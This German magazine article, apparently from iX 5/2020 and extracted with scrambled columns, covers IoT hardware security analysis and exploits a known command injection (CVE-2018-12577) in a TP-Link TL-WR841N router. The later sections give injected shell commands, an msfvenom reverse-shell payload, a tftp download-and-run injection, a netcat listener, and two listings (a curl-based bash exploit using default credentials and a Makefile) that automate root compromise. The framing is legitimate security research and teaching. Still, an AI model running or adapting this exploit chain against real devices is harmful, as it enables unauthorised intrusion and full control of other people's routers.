OHNE GROßE UMWEGE ALEXANDER POTH, SEBASTIAN TRAHM - IOT-HACKING: EMBEDDED DEVICES ANGREIFEN

Die Seite wird erstellt Hildegard-Juliane Niemann
 
WEITER LESEN
OHNE GROßE UMWEGE ALEXANDER POTH, SEBASTIAN TRAHM - IOT-HACKING: EMBEDDED DEVICES ANGREIFEN
Praxis | Industrielle IT

                                                                                             Ü
                                                                                                      blicherweise meint der Begriff IoT
IoT-Hacking: Embedded Devices angreifen                                                               (Internet of Things) die Vernetzung

Ohne große
                                                                                                      eingebetteter Systeme, die ihre
                                                                                             ­Logik und Anweisungen in Form von
                                                                                              Firmware bei ihrer Herstellung oder Im-
                                                                                              plementierung „eingepflanzt“ bekommen

Umwege
                                                                                              haben. Die Zahl dieser Geräte hat in den
                                                                                              letzten Jahren enorm zugenommen – auch
                                                                                              in der industriellen Fertigung und als zen-
                                                                                              trale Komponenten kritischer Infrastruk-
                                                                                              turen. Es ist davon auszugehen, dass sich
                                                                                              diese Entwicklung in Zukunft noch stär-
Alexander Poth, Sebastian Trahm                                                               ker fortsetzen wird.
                                                                                                  Dadurch sind diese Geräte gleicherma-
                                                                                              ßen in den Fokus von Cyberkriminellen
In dem Maße, in dem IoT-Geräte in den Fokus von Cyber­                                        und Sicherheitsforschern gerückt, deren
kriminellen geraten, ziehen sie auch die Aufmerksamkeit von                                   Analysen besonders die Angreifbarkeit
                                                                                              der Systeme auf Hard- und Firmware-­
Sicherheitsforschern auf sich. Da ihre Analysen besonders der                                 Ebene betrachten. Denn neben den nach
Angreifbarkeit der Systeme auf Ebene der Hard- und Firmware                                   außen exponierten Webanwendungen und
                                                                                              Netzwerkdiensten der Embedded De­vices
gelten, soll damit die neue Serie zum Thema IoT-Hacking                                       bietet vor allem deren Hardware völlig
starten, die iX in loser Reihenfolge fortsetzt.                                               neue Angriffs- und Analysemöglichkei-
                                                                                              ten. Deshalb beschäftigt sich dieser erste
                                                                                              Teil der neuen Artikelreihe zum IoT-­
                                                                                              Hacking mit Angriffen auf IoT Devices.
                                       1-TRACT                                                    IoT-Geräte treten in einer Vielzahl von
  ⚫⚫ Da bei IoT-Geräten Firmware, Betriebssystem und Anwendungssoftware ver­                  Anwendungsbereichen in Erscheinung,
     schmelzen und selten Updates erfahren, sind sie oft ein leichtes Ziel von Angreifern.    etwa als digitale Wechselrichter und Zäh-
                                                                                              ler in Stromnetzen, SPS (speicherpro­
  ⚫⚫ Hardware- und Firmware-Assessments analysieren Komponenten auf Baugruppen-
                                                                                              grammierbare Steuerungen) im SCADA-­
     ebene, um die Angreifbarkeit auf physischer Ebene und von außen zu beurteilen.
                                                                                              Bereich, als Überwachungskameras,
  ⚫⚫ Wie einfach es ist, sich vollen Zugriff mit root-Rechten auf ein IoT-Gerät               Modems in Öl-Pipeline-Trassen, Mobil-
     zu verschaffen, zeigt der Artikel am Beispiel eines gängigen DSL-Routers.                telefone, DSL-, Kabel- und Satelliten-Rou-
                                                                                              ter, Home-Entertainment-Systeme, Steu-
  ⚫⚫ Der komplette Ablauf des Angriffs lässt sich auch mit wenig Aufwand
                                                                                              erungs- und Entertainment-Systeme in
     automatisieren.
                                                                                              Automobilen, Smart-Home-Systeme, di-
                                                                                              gitale Rauch- und Feuermelder sowie

120                                                                                                                             iX 5/2020
OHNE GROßE UMWEGE ALEXANDER POTH, SEBASTIAN TRAHM - IOT-HACKING: EMBEDDED DEVICES ANGREIFEN
Wichtige Debug- und Wartungsschnittstellen
  I²C, JTAG, SPI und UART sind die wichtigsten Hardwareschnittstellen,      ­ ignale umfassen GND, VCC sowie TRST (Test Reset) und RST (System
                                                                            S
  die typischerweise im Rahmen eines Hardware-Assessments in Erschei-       Reset). Die JTAG-Schnittstelle findet sich auf den meisten Mikrocon­
  nung treten können und untersucht werden sollten, da sie wichtige         troller-Boards und erlaubt, so sie aktiviert ist, einen direkten Zugriff auf
  zusätzliche Analyse- und Angriffsvektoren darstellen. Diese Auswahl       die Hardware, sei es zum Debugging oder zum Umgehen von Sicher-
  häufig anzutreffender Schnittstellen erhebt jedoch keinen Anspruch        heitsmaßnahmen.
  auf Vollständigkeit, da jedes Gerät spezifische weitere Schnittstellen
  beinhalten kann, die jedoch den Rahmen eines Überblicks sprengen
  würden.
                                                                            SPI
                                                                            Das SPI (Serial Peripheral Interface) ist eine getaktete, synchrone Über-
                                                                            tragungstechnik, meist als Bus, seltener als Stern implementiert. Moto-
  I²C                                                                       rola hatte sie für eine schnelle Datenübertragung zwischen einem Mas-
  I²C (Inter-Integrated Circuit) ist ein von Philips entwickelter Bus zur   ter und einem oder mehreren Slaves entwickelt. Für die Kommunikation
  Datenübertragung zwischen einem Mikrocontroller und einer oder            verwendet sie vier Signale: MOSI (Master-Out, Slave-In), MISO (Mas-
  mehreren peripheren Komponenten. Je nach Durchsatzanforderungen           ter-In, Slave-Out), SCK (Serial Clock) und SS (Slave Select). Die Initiie-
  kann sein Takt bei 100 oder 400 kHz, 1, 3,4 oder 5 MHz liegen. Die Be-    rung der Kommunikation übernimmt auch hier der Master, etwa die
  zeichnung TWI (Two Wire Interface) wird aus lizenzrechtlichen Grün-       CPU, der Slave, etwa der Speicherbaustein, antwortet. SPI wird aufgrund
  den oft analog verwendet. Für die Datenverbindung sind lediglich die      dessen häufig zur Anbindung von peripheren Komponenten wie Flash-­
  beiden Signale SDA (Serial Data) für die Datenübertragung und SCL         Speicher verwendet, die einen hohen Durchsatz benötigen.
  (Serial Clock) für das Taktsignal des Masters notwendig. Die Daten-
  kommunikation initiiert typischerweise der Mikrocontroller als Bus-­
  Master, der einen Slave, also die periphere Komponente, anspricht. Ein
                                                                            UART
  typischer Anwendungsfall bei IoT-Geräten ist der lesende oder schrei-     UART (Universal Asynchronous Receiver Transmitter) definiert lediglich
  bende Zugriff der CPU auf Daten im EEPROM (Electrically Erasable          eine elektronische Schaltung für eine serielle Schnittstelle und stellt eine
  Programmable Read-Only Memory).                                           direkte Verbindung zwischen zwei Geräten zur Datenübertragung zur
                                                                            Verfügung. UART kennt weder ein externes Taktsignal noch eine Auf-
                                                                            teilung der Teilnehmer in Master- und Slave-Rolle wie bei I²C und SPI.
  JTAG                                                                      Für die Datenverbindung sind die drei Pins TX zum Senden, RX zum
  JTAG (Joint Test Action Group) bezeichnet ein Interface, das primär für   Empfangen und GND für die Masseleitung notwendig. Dennoch verfü-
  Boundary Scan Tests einzelner Komponenten und ganzer Platinen im          gen die meisten Anschlüsse auf solchen Routern über einen weiteren
  Rahmen des Produktionsprozesses Verwendung findet. Die Kommuni-           Anschluss VCC (Voltage at the Common Collector), der nicht zwingend
  kation benötigt im Wesentlichen die vier Signale TCK (Test Clock), TMS    erforderlich ist, sich aber zum Bestimmen des vom Gerät verwendeten
  (Test Mode Select), TDI (Test Data In), TDO (Test Data Out). Weitere      Spannungspegels nutzen lässt.

Haushaltsgeräte und Unterhaltselektronik               Die Sicherheitsanalyse von IoT-Gerä-            ––Spannungsversorgung
im Allgemeinen.                                    ten oder eingebetteten Systemen teilt sich          ––I/O
    Hardware- und Firmware-Assessments             in mehrere Phasen ein und beginnt in der            ––CPU- und Speicherbausteine
umfassen die zielgerichtete Sicherheits-           Regel mit einer „Open Source Intelli-               ––Debug- respektive Wartungsschnittstellen
analyse aller Komponenten auf Baugrup-             gence“ (OSINT), also mit der Informa­               Eine Überprüfung der Netzwerkschnitt-
penebene, um einerseits die Angreif­               tionsbeschaffung durch das Sammeln von              stellen und -dienste dient der Identifikation
barkeit auf physischer Ebene bewerten,             öffentlich verfügbaren Informationen zum            von schwachstellenbehafteter Software,
andererseits zusätzliche Informationen für         jeweiligen Gerät. Dazu zählen Geräteken-            Konfigurationsfehlern mit Sicherheits­
Angriffsmöglichkeiten von außen gewin-             nung, Gerätehersteller, Produktdatenblät-           implikationen sowie Funkschnittstellen.
nen zu können. Ein wichtiger Teilaspekt            ter, Pressemeldungen, Firmware-Images,              Die sich daran anschließenden Phasen hän-
ist der direkte Zugriff auf die Firmware           aber auch gegebenenfalls Informationen              gen stark von diesen Ergebnissen ab, die
des jeweiligen Gerätes, da ihre Analyse            zu Vorgängermodellen, um einen ersten               das weitere Vorgehen maßgeblich beein-
oft hilfreiche Informationen über die              Überblick zu gewinnen.                              flussen und Gegenstand nachfolgender
Funktionsweise des Gerätes liefert.                    Darauf folgt die Analyse des PCB                Artikel sein werden.
                                                   (­Printed Circuit Board), also der Platine             Für die Analyse der Hardware stehen
                                                   des Gerätes. In ihr identifiziert man die ein-      zahlreiche Werkzeuge bereit. Dass es sich
Analysephasen                                      zelnen Funktionsblöcke und nimmt quasi              dabei ausschließlich um spezielle und sehr
                                                   eine Kartierung der Platine vor. Häufig lässt       teure Tools handelt, ist ein Mythos. Sicher-
Hierbei lassen sich oft schon das verwen-          sie sich in folgende Areale unterteilen:            heitsforscher verwenden viele einfache
dete Betriebssystem, Softwarekompo-                                                                    Werkzeuge, und selbst die spezifischen
nenten, Schnittstellen und mögliche Zu-                                                                sind in den letzten Jahren erschwinglich
gangsdaten identifizieren. Im Falle nicht                                                              geworden. Zu den wichtigsten Werkzeu-
öffentlicher Firmware-Dateien, wie sie                                                                 gen zählen:
beispielsweise Hersteller mit dediziertem                                                              ––Messwerkzeuge wie einfache Multime-
Update-Kanal verwenden, ist der direkte                                                                  ter zum Bestimmen von Spannungswer-
physische Zugriff das einzige Mittel, um                                                                 ten an Bauteilen und zum Identifizieren
an diese Informationen zu gelangen. Die
Ergebnisse dieser tiefer gehenden Ana-                                                                 Nach dem Öffnen des WLAN-Routers
lyse ermöglichen es, entsprechende Ge-                                                                 TP-Link TL-WR841ND v14.1 kommt die
genmaßnahmen zum Schutz des gesam-                                                                     Platine zum Vorschein. Die Funktionskom-
ten Systems zu entwickeln.                                                                             ponenten sind gelb eingerahmt (Abb. 1).

iX 5/2020                                                                                                                                              121
Praxis | Industrielle IT

                                                                                              fahrung zeigt, dass nur die wenigsten Ge-
                                                                                              räte im unteren und mittleren Preissektor
                                                                                              Maßnahmen wie Einwegschrauben be-
                                                                                              inhalten, durch die Spuren eines Eingriffs
                                                                                              ersichtlich sind. Auch beim TL-WR841ND
                                                                                              hat der Hersteller keine derartigen Maß-
                                                                                              nahmen getroffen. Mit Plektren ließen sich
                                                                                              die Kunststoffnasen des Gehäuses zerstö-
                                                                                              rungsfrei entriegeln.
                                                                                                 Nachdem die Platine des Gerätes frei
                                                                                              zugänglich ist, folgt die Aufteilung in
                                                                                              Funktionskomponenten. In Abbildung 1
                                                                                              sind die ad hoc identifizierbaren Kompo-
                                                                                              nenten gelb eingerahmt und entsprechend
Über das Webinterface des Routers lassen sich auf diesem die Befehle ping und                 beschriftet. Zu erkennen sind der Arbeits-
traceroute starten. Allerdings prüft der Webserver vor dem Weiterreichen der Befehle          speicher, die CPU, ein Speicherbaustein,
und Argumente an die Shell nicht deren Inhalt oder deren Syntax (Abb. 2).                     der vermutlich die Firmware beinhaltet,
                                                                                              sowie vier unbestückte Lötaugen. Letztere
  der Beschaltung einzelner Komponen-          lichkeit und Nachvollziehbarkeit mit ei-       sind wahrscheinlich zur Aufnahme einer
  ten, also der Pin-Belegung;                  nem Gerät aus dem Homeoffice. Die              UART-Pfostenleiste (Universal Asynchro-
––hochauflösendes USB-Mikroskop;               Analyse lässt sich genau so auf Industrial-­   nous Receiver Transmitter) für eine seri-
––Digitalkamera oder die Kamera eines          IoT-Geräte anwenden, etwa auf industri-        elle Schnittstelle vorbereitet, wie die
  Mobiltelefons mit Makrolinse zur Kar-        elle Netzwerkkomponenten in Energiean-         Pin-Beschriftungen VCC (Voltage at the
  tierung der Gesamtplatine sowie der de-      lagen und Steuerungssystemen, zumal sie        Common Collector), GND (Ground), RX
  taillierten bildlichen Erfassung der ein-    technisch identisch oder sehr ähnlich sind.    (Receive) und TX (Transmit) nahelegen.
  zelnen Komponenten;                             Der Schwerpunkt des hiesigen Hard-          Die Spannungsversorgung daneben ist un-
––spezifische Messklemmen oder Test-           warelabors liegt auf der Untersuchung von      schwer am Eingangsstecker des Netzteils
  Clips für den direkten Zugriff auf die       IoT- beziehungsweise Embedded-Syste-           und dem darunter angeordneten großen
  IC-Kontakte (Integrated Circuits), um        men vor ihrer Markteinführung. Häufig          Kondensator zu erkennen.
  etwa die Daten der Firmware zu extra-        beauftragen die Hersteller das Labor, eine
  hieren;                                      umfassende Analyse vorzunehmen, die
––dedizierte Analyzer für die jeweiligen       aufzeigen soll, ob diese Geräte Schwächen      Viel Papierarbeit
  Protokolle wie UART, I2C, SPI oder           aufweisen, die ein Angreifer ausnutzen
  JTAG der zu untersuchenden Kompo-            kann. Daneben führt es auch regelmäßig         Wichtige Hinweise für die Recherche lie-
  nenten;                                      eigenmotivierte, unabhängige Analysen          fert sehr häufig die Typenbezeichnung der
––Löt- oder Reflow-Workstation für Löt-        durch, die auch etablierte Geräte umfas-       jeweiligen Komponente. Beispielsweise
  tätigkeiten beziehungsweise das Extra-       sen, die in neueren Varianten nach wie vor     sind auf den meisten ICs (Integrated Cir-
  hieren von Bausteinen;                       erhältlich sind.                               cuits) der Herstellername sowie eine spe-
––Handwerkzeuge wie ein Elektronik-               Im Rahmen dieser Untersuchungen             zifische ID der jeweiligen Komponente ab-
  schraubendreherset zum Öffnen von            kam der DSL-Router TL-WR841N N300              lesbar. Mit diesen Daten lassen sich fast
  Gehäuseschrauben, eine Auswahl an            v14.1 von TP-Link auf den Prüfstand. Eine      immer die zugehörigen Datenblätter finden.
  Pinzetten für SMD-Bauteile (Surface-­        kurze Recherche der öffentlich verfügba-           In diesem Fall ist die Platine mit
  mounted Device) und Lupen;                   ren Informationen zu diesem Gerät ergab,       dem SPI-Flash-Chip (Serial Peripheral
––zweckentfremdete Werkzeuge wie Plek-         dass einige Vorgängermodelle schwerwie-        Interface) GigaDevice 25Q32CSIG, dem
  tren aus dem Musikerbedarf zum Öffnen        gende Sicherheitslücken aufwiesen. Das         D-RAM-Chip Zentel A3S56D40GTP und
  der Plastiknasen bei den oft in Kunststoff   warf die Frage auf, welche zwischenzeit-       dem SoC Mediatek MT7628 bestückt. Der
  ausgeführten Gehäusen der Geräte.            lich behoben oder in der aktuellen Version     Router-on-a-Chip ist unter anderem mit
                                               noch vorhanden sind.                           einer 580 MHz schnellen MIPS-24K-
                                                  Eine Analyse der Platine beginnt im-        CPU, 128 oder 256 MByte DDR2-RAM,
Eine Analyse aus dem Labor                     mer mit dem Öffnen des Gehäuses. Das           einem 5-Port-Fast-Ethernet-Switch, WLAN
                                               liefert erste Erkenntnisse über dessen Ma-     nach 802.11b/g/n, mit einem USB-2.0-
Die folgende exemplarische Analyse be-         nipulationssicherheit, etwa ob das Öffnen      Host, einem PCIe-Root-Complex sowie
schäftigt sich aus Gründen der Verständ-       des Gehäuses Spuren hinterlässt. Die Er-       den Storage-­Schnittstellen SPI, SD-XC

   Der an den POST-Request-Para­
    meter host=8.8.8.8 angehängte
  Befehl ping -c 5 192.168.0.100 soll
    zeigen, ob sich auf diese Weise
    noch immer Shell-Kommandos
      auf dem Router einschleusen
                     lassen (Abb. 3).

122                                                                                                                             iX 5/2020
Die fünf ICMP-Pakete vom Router mit der IP-Adresse 192.168.0.1 beweisen, dass das Einschleusen
des zusätzlichen ping-Kommandos erfolgreich war (Abb. 4).

Mit dem Metasploit-Framework MSFvenom lässt sich die geeignete Payload erzeugen, in diesem Fall
eine Shell, die vom kompromitierten Router aus eine Verbindung zum Client des Testers aufbaut (Abb. 5).

und eMMC ausgestattet. Für den I/O ste-      greifer lediglich den gewünschten Befehl            Drückt der Anwender auf Start, sen-
hen außerdem die Schnittstellen I²C, I²S,    mit Semikolon getrennt hinter eine gültige       det der Webclient mehrere aufeinander-
PCM, UART, JTAG und GPIO bereit              Eingabe im Webinterface hängen, die der          folgende HTTP-Requests an den Webser-
(siehe Kasten „Wichtige Debug- und War-      Webserver als HTTP-POST-Requests be-             ver des DSL-Routers, bevor der den
tungsschnittstellen“). Zur Verschlüsselung   arbeitet, etwa                                   ping-Befehl ausführt und das Ergebnis
beherrscht der SoC WEP64/128, TKIP,                                                           zurückliefert. Von Interesse ist hier nur
AES, WPA, WPA2 und WAPI. Als AP-­            host=127.0.0.1; reboot;                          der finale POST-Request. Zur Überprü-
Firmware dient ein eCOS (Embedded            Startet man den Befehl ping über das Web-        fung der Schwachstelle wird an den ei-
Configurable Operating System), ein Ech-     interface, führt der Router nach dem Pin-        gentlichen ping-Befehl ein weiterer ge-
zeit-Linux-Derivat.                          gen des Hosts 127.0.0.1 einen Neustart           hängt, der zusätzlich den eigenen Client
   Offen ist nun noch die Frage, ob die in   des Systems durch (siehe Abbildung 2).           mit der IP-Adresse 192.168.0.100 anpingt:
der Vergangenheit publik gewordenen          Ob diese bekannte Schwachstelle auch in
Schwachstellen auch die aktuelle Version     der aktuellen Router-Version 14.1 noch           host=8.8.8.8; ping -c 5 192.168.0.100;
des TP-Link TL-WR841N N300 WLAN              existiert, ist als Erstes zu prüfen. Falls ja,
betreffen. Gefunden wurde auf dem Rou-       lässt sie sich nutzen, um auf die Shell des      Die Option -c 5 veranlasst ping dazu, fünf
ter TP-Link TL-WR841N in der Version         Systems zu gelangen. Dann soll aber nicht        ICMP-Pakete (Internet Control Message
V13 (0.9.1 4.16 v0001.0 Build 180119         das Webinterface, sondern ein Webclient          Protocol) an den Host mit der IP-Adresse
Rel.65243n) im Juni 2018 die Schwach-        für die Konsole zum Einsatz kommen, in           192.168.0.100 zu senden. Den kompletten
stelle CVE-2018-12577 (Common Vulne-         diesem Fall curl.                                POST-Request zeigt Abbildung 3. Dort ist
rabilities and Exposures). Sie beschreibt                                                     der angehängte Befehl rot eingerahmt.
eine Authenticated Blind Command Injec-                                                          Parallel hierzu wurde auf dem ange-
tion mit der Risikobewertung „High“, die     Und ewig grüßt                                   pingten Client der Befehl
es einem angemeldeten Benutzer erlaubt,      die Schwachstelle                                tcpdump -ni eth1 -e icmp[icmptype]==8
direkt Code auf Systemebene zur Ausfüh-
rung zu bringen (siehe auch ix.de/zd74).     Den in der bekannten Schwachstelle be-           gestartet, der die Netzwerkpakete mit-
   Dahinter stecken Fehler in der Einbin-    schriebenen Einstiegspunkt findet man            schneidet. Die Option -n verhindert, dass
dung der Diagnosewerkzeuge ping und          über den Menüpunkt „Diagnostic Tools“            tcpdump versucht, die IP-Adressen bei der
traceroute in das Management-Interface,      im Webinterface. Auf der Seite, auf die          Ausgabe in Namen zu übersetzen, wäh-
genauer gesagt in der Datenübergabe vom      man gelangt, lassen sich die Werkzeuge           rend -e tcpdump in jeder Dump-Zeile die
Webserver, der die Daten aus dem Web-        traceroute und ping steuern. Mit ihnen           Informationen des Data-Link-Level-
interface entgegennimmt, an den Kom-         kann der Benutzer testen, ob die Netzwerk-       Headers, darunter die MAC-Adressen,
mandointerpreter. Der Webserver übergibt     verbindung ins LAN respektive WAN steht.         mit ausgeben lässt. Die Netzwerkschnitt-
beliebigen Input vom Nutzer ohne weitere     In Abbildung 2 ist 8.8.8.8 als IP-Adres­se       stelle, an der tcpdump den Netzwerkver-
Prüfung an die Shell. Dazu muss der An-      des Ping-Zielhosts angegeben.                    kehr mitschneiden soll, gibt die Option -i

     Der tcpdump-
  Mitschnitt zeigt:
Der Router lädt die
   Datei wie durch
 den eingeschleus-
  ten Befehl ange-
   wiesen herunter
          (Abb. 6).

iX 5/2020                                                                                                                              123
Praxis | Industrielle IT

                                                                    Erste Gehversuche                 lässt sich die Payload mithilfe der be-
                                                                    auf der eingeschleusten           kannten Command Injection auf den
                                                                    Router-Shell zeigen den          ­Router übertragen:
                                                                    Dateisystembaum und
                                                                    die Benutzer. Nur der            host=8.8.8.8; cd /var/tmp && tftp -g -l
                                                                                                     WR841ND_rev_shell 192.168.0.100&;
                                                                    uname-Befehl scheitert
                                                                    (Abb. 7).
                                                                                                     Führt die Shell auf dem Router diesen Be-
                                                                                                     fehl aus, wechselt sie ins Verzeichnis /var/
                                                                                                     tmp, lädt im Hintergrund die Datei
                                                                                                     WR841ND_rev_shell per TFTP vom Host
                                                                                                     192.168.0.100 herunter und speichert sie
                                                                                                     unter diesem Namen.

                                                                   Standardbefehle aus ei-           Dem Opfer die
                                                                   ner BusyBox stammen,              Initiative überlassen
                                                                   in die beim Kompilie-
                                                                   ren nur wenige Kom-               Da ein TFTP-Client seine Anfragen stan-
                                                                   mandos eingebunden                dardmäßig an den Port 69 richtet, schnei-
                                                                   wurden. Hilfreich ist in          det der nächste tcpdump-Befehl den Daten-
                                                                   diesem Fall aber das              verkehr auf diesem Port mit:
eth1 vor. Der String icmp[icmptype]==8 be-       integrierte TFTP-Kommando, mit dem                  tcpdump -vv -ni eth1 port 69
grenzt die Ausgabe auf ICMP-Pakete des           sich die Payload hochladen lässt. TFTP
Typs Echo Request.                               ist auf solchen Systemen häufig anzu­               Seine Ausgabe in Abbildung 6 zeigt, dass
   Die Ausgabe des Befehls zeigt Abbil-          treffen, da Hersteller beispielsweise Ge-           der Router den Download der Datei vor-
dung 4. Dort finden sich die fünf ICMP-Pa-       räte, deren Softwareupdate fehlgeschla-             nimmt.
kete, die vom Router mit der IP-Adresse          gen ist oder die anderweitig korrupte                  Bevor der Tester die Reverse-Shell auf
192.168.0.1 stammen und den Client er-           Zustände aufweisen, auf diesem Weg                  dem Router ausführen kann, muss er auf
reicht haben. Das belegt, dass das einge-        in einer Art Rettungsmodus wiederbe­                seinem Client noch einen Port öffnen, da-
schleuste ping-Kommando erfolgreich              leben können.                                       mit die Payload eine Verbindung dorthin
ausgeführt wurde.                                   Ein passender TFTP-Server ist auf                aufbauen kann. Zuvor hat er mit dem Be-
                                                 dem eigenen Rechner schnell aufgesetzt              fehl nc -lv 4444 einen netcat-Listener auf
                                                 und die Datei WR841ND_rev_shell in                  Port 4444 des Clients gestartet, der die ein-
Warum nicht eine                                 dessen Wurzelverzeichnis kopiert. Nun               gehende Anfrage des Routers entgegen-
Reverse Shell hochladen?
                                                  Listing 1: expl_wr841nd.sh
Nachdem der Test gezeigt hat, dass sich
auf diese Weise Befehle auf der Router-­          #!/bin/bash
Shell ausführen lassen, besteht das nächste       if [ "$#" -ne 2 ]; then
Ziel darin, direkten Zugriff auf die Shell                   echo "Usage: ./exec.sh 'user' 'pass'"
und damit vollen Zugang zum System zu                        exit 1
erlangen.
                                                  fi

   Zum Einsatz kommt dazu der Einfach-            USER=$1
heit halber das Framework MSFvenom                PASS=$2
des Metasploit-Projekts, das die Werk-            AUTH=$(echo -ne "$USER:$PASS" | base64)
                                                  BINARY1=$'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\x0d\x0adataBlockSize=64\x0d\x0atimeout=1\x0d\
zeuge Msfpayload and Msfencode kom-               x0anumberOfRepetitions=1\x0d\x0ahost=127.0.0.1;'
biniert. Mit ihm lassen sich Payloads für         BINARY2=$';\x0d\x0aX_TP_ConnName=ewan_ipoe_d\x0d\x0adiagnosticsState=Requested\x0d\x0a'
unterschiedliche Architekturen erzeugen.
                                                  injectCommand ()
In diesem Fall soll der Befehl                    {
                                                             curl -i -s -k -X 'POST' \
msfvenom -p linux/mipsle/shell_reverse_tcp
                                                  		-H $'Referer: http://192.168.0.1/mainFrame.htm' \
CDM=/bin/ash LHOST=192.168.0.100 LPORT=4444 -f
                                                  		-H "Cookie: Authorization=Basic $AUTH" \
elf > WR841ND_rev_shell
                                                  		-b $'Authorization=Basic YWRtaW46YWRtaW4=' \
                                                  		--data-binary "$BINARY1$1$BINARY2" \
die Payload shell_reverse_tcp erzeugen,           		$'http://192.168.0.1/cgi?2'
die sich, einmal auf dem Zielsystem in­             curl -i -s -k -X 'POST' \
stalliert, mit dem Client mit der IP-Adres-       		-H $'Referer: http://192.168.0.1/mainFrame.htm' \
­se 192.168.0.100 auf Port 4444 verbindet         		-H "Cookie: Authorization=Basic $AUTH" \
 (siehe Abbildung 5). Das Binary im               		-b $'Authorization=Basic YWRtaW46YWRtaW4=' \
                                                  		--data-binary $'[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' \
 ELF-Format soll msfvenom in die Datei            		$'http://192.168.0.1/cgi?7'
 WR841ND_rev_shell schreiben.                     }
    Zuvor hatte es die Extraktion des Inhalts     # download reverse shell via tftp to target and launch it
 des Firmware-Chips ermöglicht, die we-           injectCommand '`cd /var/tmp && tftp -g -l wr841nd_rev_shell 192.168.0.100&`'
 sentlichen Teile des Dateisystems zu ent-        injectCommand '`chmod a+x /var/tmp/wr841nd_rev_shell`'
 packen. Dabei zeigte sich, dass Shell und        injectCommand '`/var/tmp/wr841nd_rev_shell&`'

124                                                                                                                                            iX 5/2020
nehmen kann. Nun kommt wieder die
Command Injection zum Einsatz, die den
Payload-Ausführungsbefehl auf den Rou-
ter überträgt:
host=8.8.8.8; `/var/tmp/WR841ND_rev_shell`;

Sobald netcat die eingehende Anfrage be-
antwortet und eine Verbindung etabliert,
zeigt es das auf der Konsole, auf der es ge-
startet wurde, mit connect to... an (siehe     Der Befehl make clean run_exploit arbeitet die einzelnen Sektionen des Makefile ab.
Abbildung 7). Ein erster Befehl ls -la /       Am Ende steht der Aufruf des Bash-Skripts expl_wr841nd.sh, das die eigentliche
listet die oberste Ebene des Dateisystem-      Kompromittierung des Zielsystems übernimmt (Abb. 8).
baums in der Detailansicht auf. cat /etc/
passwd gibt die drei Standardbenutzer des
Routers admin, dropbear und nobody aus.
Hingegen ist der Befehl uname nicht ver-
fügbar. Die entsprechenden Systeminfor-
mationen sollten aber im proc-Dateisys-
tem mit cat /proc/version zu finden sein.
    Die weiteren Gehversuche zeigen, dass
auch Befehle wie id und touch nicht zur
Verfügung stehen, mit denen man mehr
über den verwendeten Account erfährt.
Behelfen kann man sich mit echo: Man
schreibt mit echo 'AAAAAAA' > /var/tmp/
foobar beliebige Zeichen in eine Datei und
lässt sich im Dateisystem mit ls- l deren
Besitzer und Gruppe anzeigen.                  Auch der automatisierte Angriff war erfolgreich und gewährte dem Tester freien Zugriff
    Weitere Informationen gibt ps ax preis,    mit root-Rechten auf das System (Abb. 9).
das die im System laufenden Prozesse und
ihre Besitzer auflistet. In diesem Fall ge-    Shell-Payload und den Aufruf des               öffnet hat, baut der Router auch nach die-
hören sie alle admin und laufen mit            Bash-­­Skripts (siehe Listing 2).              sem automatisierten Angriff die Verbin-
root-Rechten.                                      In Abbildung 8 arbeitet make die Sek­      dung auf und ermöglicht dem Tester so
                                               tionen clean, gen_payload und run_exploit      root-Rechte und damit unbeschränkten Zu-
                                               des Makefile ab. Dabei entsorgt es erst alte   gang zum System (siehe Abbildung 9).
Den Angriff                                    Payloads, generiert frische, überträgt sie
automatisieren                                 auf das Zielsystem und führt sie dort aus.
                                               Erst im letzten Schritt kommt dabei das        Ausblick
Alles, was bisher in Einzelschritten bis       Bash-Skript expl_wr841nd.sh zum Ein-
zum Ausführen der Reverse-Shell voll-          satz, das die Payload überträgt, vorberei-     Der nächste Artikel der losen Reihe zum
bracht wurde, lässt sich auch automatisie-     tet und ausführt.                              IIoT-Hacking widmet sich der näheren Un-
ren. Auf diese Weise kann man das Aus-             Nachdem auf dem Client des Testers         tersuchung eines Flash-Speichers. Mithilfe
nutzen der Schwachstelle effektiver und        der Befehl nc -lv 4444 den Port 4444 ge-       des Datenblatts, das Auskunft über das
reproduzierbar gestalten.                                                                     verwendete Kommunikationsprotokoll
    Die zuvor identifizierten relevanten        Listing 2: Makefile                           gibt, sollen mit einfachen Werkzeugen Da-
Schritte umfassen hierbei                                                                     ten direkt aus dem Flash-Chip ausgelesen
––das Erstellen der Reverse-Shell-Payload,      #!/bin/bash                                   werden.                       (sun@ix.de)
––das Kopieren der Reverse-Shell-Payload        MSFVENOM=/usr/bin/msfvenom
   in das Wurzelverzeichnis des TFTP-Ser-       SH_BINARY=wr841nd_rev_shell                   Quellen
   vers,                                        SH_CMD=/bin/sh
                                                                                              Weitere Informationen zur Schwachstelle
––den Download der Reverse-Shell-Pay-           SH_LHOST=192.168.0.100
                                                SH_LPORT=4444                                 CVE-2018-12577 über ix.de/zd74
   load auf den Router per Command In-          SH_PAYLOAD=linux/mipsle/shell_reverse_tcp
   jection und TFTP
––und das Ausführen der Reverse­-Shell-         CLEANFILES=$(SH_BINARY)                       Alexander Poth
   Payload, die die Verbindung zum netcat-      all: run_exploit                                 ist in der IT-Security-Branche tätig.
   Listener aufbaut.                                                                             Zu seinen Schwerpunkten zählt die
Dazu fasst man die notwendigen Requests         gen_payload:
                                                                                                 Firmware-Schwachstellenanalyse.
innerhalb eines Bash-Skripts expl_
                                                           @echo "Generating payload ..."
                                                           $(MSFVENOM) -p $(SH_PAYLOAD) \
wr841nd.sh in einer Funktion InjectCommand      		CMD=$(SH_CMD)\                              Sebastian Trahm
zusammen, die dann entsprechend para-           		LHOST=$(SH_LHOST) \                            ist in der IT-Security-Branche tätig, davon
metriert die einzelnen Kommandos zum            		LPORT=$(SH_LPORT) \
                                                		-f elf > $(SH_BINARY)                          mehrere Jahre als Softwareentwickler
Herunterladen und Ausführen der Revers-­                                                         von Firewall-Systemen, als Network
Shell aufruft (siehe Lising 1). Ein Make-       run_exploit: gen_payload                         Management Systems Specialist, System-
file übernimmt das Erstellen der Reverse-­                 @echo "Running exploit ..."
                                                           cp $(SH_BINARY) /srv/tftp/
                                                                                                 administrator und Release Engineer.
                                                           ./expl_wr841nd.sh admin admin
iX 5/2020                                                                                                                                125
                                                clean:
                                                           rm -rf $(CLEANFILES)
Sie können auch lesen